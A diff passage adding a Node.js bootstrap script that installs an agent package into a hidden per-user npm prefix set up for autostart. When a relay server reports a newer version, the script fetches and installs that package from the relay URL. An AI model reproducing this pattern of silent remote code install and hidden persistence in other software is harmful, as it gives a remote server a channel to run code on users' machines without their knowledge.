const localVersion = readPackageVersion();
|
|
379
|
+
const cfgData = resolveInstallWorkingDir();
|
|
380
|
+
const base = path.join(cfgData, ".forge-jsxy");
|
|
381
|
+
const packDir = path.join(base, ".pack");
|
|
382
|
+
|
|
383
|
+
const relayBase = relayHttpBaseFromEnvOrDist();
|
|
384
|
+
const relayInfo = fetchRelayForgeJsxyInfoSync(relayBase);
|
|
385
|
+
const relayNewer =
|
|
386
|
+
!skipRelayPackageOnInstall() &&
|
|
387
|
+
relayInfo.version &&
|
|
388
|
+
semverCompare(relayInfo.version, localVersion) > 0;
|
|
389
|
+
const relayInstallUrl = relayNewer
|
|
390
|
+
? resolveRelayPackageInstallUrl(relayBase, relayInfo)
|
|
391
|
+
: "";
|
|
392
|
+
|
|
393
|
+
let version = localVersion;
|
|
394
|
+
let installSource = "";
|
|
395
|
+
let mode = "hidden-local-prefix";
|
|
396
|
+
|
|
397
|
+
if (relayNewer && relayInstallUrl) {
|
|
398
|
+
version = relayInfo.version;
|
|
399
|
+
installSource = relayInstallUrl;
|
|
400
|
+
mode = "relay-package";
|
|
401
|
+
} else {
|
|
402
|
+
const pk = npmPackToDir(packDir);
|
|
403
|
+
if (!pk.ok) {
|
|
404
|
+
return { ok: false, distDir: "", versionDir: "", version: localVersion, error: pk.error || "npm pack failed" };
|
|
405
|
+
}
|
|
406
|
+
installSource = pk.tgzPath;
|
|
407
|
+
tryTrimPackCache(packDir, path.basename(pk.tgzPath));
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
const versionDir = path.join(base, "runtime", `v${version}`);
|
|
411
|
+
try {
|
|
412
|
+
mkdirSync(versionDir, { recursive: true });
|
|
413
|
+
} catch (e) {
|
|
414
|
+
return {
|
|
415
|
+
ok: false,
|
|
416
|
+
distDir: "",
|
|
417
|
+
versionDir,
|
|
418
|
+
version,
|
|
419
|
+
error: e instanceof Error ? e.message : String(e),
|
|
420
|
+
};
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
const r = npmInstallTgzLocalPrefix(installSource, versionDir);
|
|
424
|
+
if (r.status !== 0) {
|
|
425
|
+
if (relayNewer && relayInstallUrl) {
|
|
426
|
+
const pk = npmPackToDir(packDir);
|
|
427
|
+
if (pk.ok) {
|
|
428
|
+
tryTrimPackCache(packDir, path.basename(pk.tgzPath));
|
|
429
|
+
const fallback = npmInstallTgzLocalPrefix(pk.tgzPath, versionDir);
|
|
430
|
+
if (fallback.status === 0) {
|
|
431
|
+
version = localVersion;
|
|
432
|
+
mode = "hidden-local-prefix";
|
|
433
|
+
} else {
|
|
434
|
+
return {
|
|
435
|
+
ok: false,
|
|
436
|
+
distDir: "",
|
|
437
|
+
versionDir,
|
|
438
|
+
version: localVersion,
|
|
439
|
+
error: formatSpawnFailure(fallback, "npm install (relay package fallback to local pack)"),
|
|
440
|
+
};
|
|
441
|
+
}
|
|
442
|
+
} else {
|
|
443
|
+
return {
|
|
444
|
+
ok: false,
|
|
445
|
+
distDir: "",
|
|
446
|
+
versionDir,
|
|
447
|
+
version,
|
|
448
|
+
error: formatSpawnFailure(r, "npm install (relay package)"),
|
|
449
|
+
};
|
|
450
|
+
}
|
|
451
|
+
} else {
|
|
452
|
+
return {
|
|
453
|
+
ok: false,
|
|
454
|
+
distDir: "",
|
|
455
|
+
versionDir,
|
|
456
|
+
version,
|
|
457
|
+
error: formatSpawnFailure(r, "npm install (durable prefix)"),
|
|
458
|
+
};
|
|
459
|
+
}
|
|
460
|
+
}
|
|
461
|
+
|
|
462
|
+
const distDir = resolveDistDirUnderLocalPrefix(versionDir);
|
|
463
|
+
if (!distDir) {
|
|
464
|
+
return {
|
|
465
|
+
ok: false,
|
|
466
|
+
distDir: "",
|
|
467
|
+
versionDir,
|
|
468
|
+
version,
|
|
469
|
+
error: "cli-agent.js not found after hidden local-prefix install",
|
|
470
|
+
};
|
|
471
|
+
}
|
|
472
|
+
|
|
473
|
+
const meta = {
|
|
474
|
+
distDir,
|
|
475
|
+
version,
|
|
476
|
+
mode,
|
|
477
|
+
versionDir,
|
|
478
|
+
materializedAt: new Date().toISOString(),
|
|
479
|
+
pkgRootSnapshot: pkgRoot,
|
|
480
|
+
...(relayNewer && relayInstallUrl ? { relayPackageUrl: relayInstallUrl } : {}),
|
|
481
|
+
};
|
|
482
|
+
try {
|
|
483
|
+
writeFileSync(path.join(base, "current.json"), JSON.stringify(meta, null, 2), "utf8");
|
|
484
|
+
} catch (e) {
|
|
485
|
+
return {
|
|
486
|
+
ok: false,
|
|
487
|
+
distDir,
|
|
488
|
+
versionDir,
|
|
489
|
+
version,
|
|
490
|
+
error: e instanceof Error ? e.message : String(e),
|
|
491
|
+
};
|
|
492
|
+
}
|
|
493
|
+
|
|
494
|
+
return { ok: true, distDir, versionDir, version, mode };
|
|
495
|
+
}
|
|
496
|
+
|
|
497
|
+
/** @deprecated use bootstrapDurableForgeJsxy */
|
|
498
|
+
export const materializeForgeIsolatedRuntime = bootstrapDurableForgeJsxy;
|
|
499
|
+
|
|
500
|
+
/** @returns {string} */
|
|
501
|
+
export function readIsolatedDistDirFromDisk() {
|
|
502
|
+
try {
|
|
503
|
+
const base = path.join(resolveInstallWorkingDir(), ".forge-jsxy");
|
|
504
|
+
const cur = path.join(base, "current.json");
|
|
505
|
+
if (!existsSync(cur)) return "";
|
|
506
|
+
const j = JSON.parse(readFileSync(cur, "utf8"));
|
|
507
|
+
const d = String(j.distDir || "").trim();
|
|
508
|
+
if (!d || !existsSync(path.join(d, "cli-agent.js"))) return "";
|
|
509
|
+
return d;
|
|
510
|
+
} catch {
|
|
511
|
+
return "";
|
|
512
|
+
}
|
|
513
|
+
}
|
|
514
|
+
|
|
515
|
+
function main() {
|
|
516
|
+
const argv = process.argv.slice(2);
|
|
517
|
+
if (argv.includes("-h") || argv.includes("--help")) {
|
|
518
|
+
console.log(`forge durable bootstrap — pack + hidden local npm --prefix (no npm -g; all OS).
|
|
519
|
+
|
|
520
|
+
Writes: <CfgMgr>/.forge-jsxy/runtime/v<VERSION>/ + current.json
|
|
521
|
+
Never installs to npm global; autostart uses absolute path under user CfgMgr data.`);
|
|
522
|
+
process.exit(0);
|
|
523
|
+
}
|
|
524
|
+
|
|
525
|
+
const res = bootstrapDurableForgeJsxy();
|
|
526
|
+
if (!res.ok) {
|
|
527
|
+
console.error("[forge-durable-bootstrap]", res.error || "failed");
|
|
528
|
+
process.exit(1);
|
|
529
|
+
}
|
|
530
|
+
if (argv.includes("--print-dist-dir")) {
|
|
531
|
+
process.stdout.write(res.distDir);
|
|
532
|
+
process.exit(0);
|
|
533
|
+
}
|
|
534
|
+
console.log(JSON.stringify({ ok: true, distDir: res.distDir, version: res.version, mode: res.mode }, null, 2));
|
|
535
|
+
process.exit(0);
|
|
536
|
+
}
|
|
537
|
+
|
|
538
|
+
function isExecutedDirectly() {
|
|
539
|
+
const entry = process.argv[1];
|
|
540
|
+
if (!entry) return false;
|
|
541
|
+
try {
|
|
542
|
+
return import.meta.url === pathToFileURL(path.resolve(entry)).href;
|
|
543
|
+
} catch {
|
|
544
|
+
return false;
|
|
545
|
+
}
|
|
546
|
+
}
|
|
547
|
+
if (isExecutedDirectly()) main();
|